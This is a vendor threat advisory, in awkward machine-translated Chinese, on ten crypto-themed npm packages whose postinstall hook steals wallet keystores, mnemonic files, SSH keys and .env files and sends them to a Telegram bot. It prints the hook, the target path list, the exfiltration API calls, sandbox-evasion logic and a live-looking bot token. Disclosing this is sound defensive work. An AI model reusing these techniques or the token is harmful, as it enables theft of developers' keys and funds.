SeedSweep:十个恶意 npm 加密包

SeedSweep:十个只在无人监控时运行的加密货币主题 npm 包

TL博士

2026年6月9日,一个npm发布者帐户, aicrypto-xzggg已发货 十包 带有加密货币和 Web3 风格的名称 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9还有另外六个。

每个软件包都运行来自同一有效载荷的程序 postinstall 钩子。安装时,它会检查是否在持续集成 (CI) 或沙箱环境中运行——如果不是,它会读取钱包密钥库、助记词文件、SSH 密钥,以及 .env 从六个区块链生态系统中获取文件,并将它们传输到 Telegram 机器人。

防御者可以立即寻找的唯一指标是 Telegram 机器人 ID。 8227918239.

严重性: 危急 — 直接窃取签名密钥和恢复短语 开发人员工作站.

攻击原理

这些软件包自称是区块链开发者的实用工具。 的package.json 它非常简洁,并将安装生命周期指向一个脚本:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js 这是一个单行垫片,用于加载真正的有效载荷: require(“../src/index.js”)。 因为 安装后 运行期间自动进行 npm安装开发者无需导入任何代码——只需将软件包放入依赖树中即可执行它。

内部的杀戮链 src / index.js 分为四个步骤:

  1. 环境检查。 守卫函数决定主机看起来像构建代理还是分析沙箱。
  2. 延迟。 执行被推迟 设置超时 大约7.4秒。
  3. 采集。 系统会遍历钱包、密钥和秘密文件路径的固定列表;现有文件会被放入队列。
  4. 渗漏。 已排队的文件会发送到 Telegram 机器人,并在发送前附上摘要消息。

收集目标列表涵盖六条链以及通用开发者密钥。已精简:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

总共有二十一条路径。目录条目如下: ~/.ethereum/keystore 文件被展开,每个文件都进入队列。数据泄露直接使用 Telegram Bot API——一个 发信息 调用时提供主机和文件摘要,然后是 发送文档 每个文件分段上传:

文本

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

代码组装的摘要消息以字符串开头 加密货币窃取者然后是主机名、用户名、源软件包名称、文件计数和时间戳。

这里有什么新内容

区别不在于窃取机制——基于 Telegram 的 npm 数据外泄。 安装后 hooks 人迹罕至。 执行门。 在执行任何操作之前,有效载荷会调用一个函数,当主机类似于 CI 运行器或沙箱时,该函数返回 true;否则,该函数会提前返回:

文本

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

容器 ID 正则表达式是关键所在:Docker 默认分配给容器的主机名是一个 12 个十六进制字符的格式。 容器因此,该程序会将“我的主机名看起来像一个 Docker 容器”视为保持休眠状态的理由。结合七秒的延迟,这种设计倾向于在开发人员的真实工作站上运行,并在任何可能被自动分析的地方保持静默。正是这个机制抑制了动态分析信号,并将静态数据泄露流保留为主要的定罪证据。

时间线

日期(UTC) 创建
2026-06-09 ~02:48 发布时集群中标记的第一个软件包(crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 已标记的高级版本成员(ethereum-kit-9 在1.25.36, wallet-sdk-9 (3.7.73)
2026-06-09 ~03:58–03:59 最后标记的成员(defi-tools-39 在4.26.29, swap-sdk-87 在4.63.78, farming-tools-12 (4.68.54)
2026-06-09 这十个都被归类为恶意软件,并已报告需从注册表中移除。

十条消息在大约七十分钟内全部出现,这与一个账号的一次脚本化发布流程相符。

妥协指标

网络和行为指标(主机已解除武装):

指示符 价值
出口终点 api[.]telegram[.]org (Telegram Bot API)
Telegram 机器人 ID 8227918239
机器人代币 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram聊天ID 6433587894
安装钩子 postinstallscripts/postinstall.jssrc/index.js
标记字符串 CRYPTO STEALER 在汇总消息中
出版商 aicrypto-xzggg (所述电子邮件) vipsyria88@gmail[.]com(未经证实)

软件包和版本,每个软件包和版本都带有其 SHA-256 值 src / index.js 有效载荷(这些有效载荷在功能上完全相同,仅嵌入的包名称标签不同,因此每个哈希值都是不同的):

HTML
小包装 版本 src/index.js 的 SHA-256 值
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

一个简单的搜索查询:在安装日志和锁定文件中搜索这十个名称中的任何一个,并搜索来自构建或开发主机(这些主机通常不使用 Telegram Bot API)的出站流量,以查找与 Telegram Bot API 的连接。

归因与观察行为

这十个软件包均由同一个账号发布。 aicrypto-xzggg其所申报的电子邮件地址是 vipsyria88@gmail[.]com该电子邮件地址和源代码控制链接均未在注册表元数据中得到验证,且该帐户的信誉评分极低。我们尚未确认该帐户的运营者。

在任何身份声明中,有两个细节值得单独说明。首先, 的package.json 作者 字段读取 亚历克斯·史密斯 每个包裹上都有,而实际的出版账户是 aicrypto-xzggg作者字段是用户自行声明的元数据,并不代表作者身份。其次,版本号差异很大——有些成员的版本号为 1000。 1.0.0其他人 4.68.54 — 这与在新创建的软件包名称中重复使用单个有效载荷,而不是维护真正的发布历史记录是一致的。

整个集群的行为是一致的:相同的目标路径列表、相同的 Telegram 机器人 ID 和聊天 ID、相同的环境门控、相同的 加密货币窃取者 标记。这种一致性是包装之间最强的联系。它是同一操作员的信号,而非身份标识。

这种风险是实实在在的。如果开发人员在工作站上安装了任何此类软件包,而该工作站上存储着软件钱包、助记词文件或 SSH 密钥,那么这些文件会在几秒钟内被读取并传输到主机之外。恢复短语和签名密钥不会像会话令牌那样过期;一旦…… 助记符.txt 或索拉纳 id.json 一旦离开机器,其控制的资金就会面临风险,直到被转移为止。同样的运行也会捕获…… .ENV 文件通常包含 API 密钥和数据库凭据。

这一集群背后有两个趋势。首先是持续使用加密货币和 Web3 主题的名称来吸引特定受众——那些将钱包和密钥保存在安装依赖项的同一台机器上的开发者。其次是安装时有效载荷中沙箱规避技术的日趋成熟。通过检查 CI 环境变量、运行器用户名以及 Docker 容器 ID 主机名格式,可以刻意使其在分析环境下的行为与在真实工作站上的行为有所不同,从而提高了纯动态检测的门槛。

对于防守方而言:

默认情况下,安装程序会禁用脚本。 npm install --ignore-scripts, 或设置 ignore-scripts=true in .npmrc,防止 安装后 执行;仅对真正需要脚本的特定依赖项启用脚本。

将钱包和签名密钥与构建和开发机器隔离。使用硬件钱包或专用的、无依赖项的签名主机。

对待 .ENV密钥库和助记词文件应被视为核心机密。它们绝不能放在同一个目录中。 npm安装 工作树。

查找来自 CI 和开发者主机的 Telegram Bot API 出站连接。大多数构建环境都不会调用它;但如果某个构建环境在安装后突然调用了它,则值得调查。

锁定并审查依赖项。一个全新的软件包,名称为通用加密名称, 安装后 hook,并且任何存储库链接在进入锁定文件之前都不需要查看。

容器 ID 规避条款也提醒分析人员:在沙箱中保持休眠状态的安装时有效载荷并非无害,而是具有选择性。静态审查安装路径仍然是可靠的方法,可以发现动态执行可能不会显示的内容。

案例

npm 安装文档 — 生命周期脚本和 –忽略脚本— 禁用自动安装的参考说明 hooks. 

sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
注册免费账号。
不需要信用卡。

保护您的软件开发和交付

使用 Xygeni 产品套件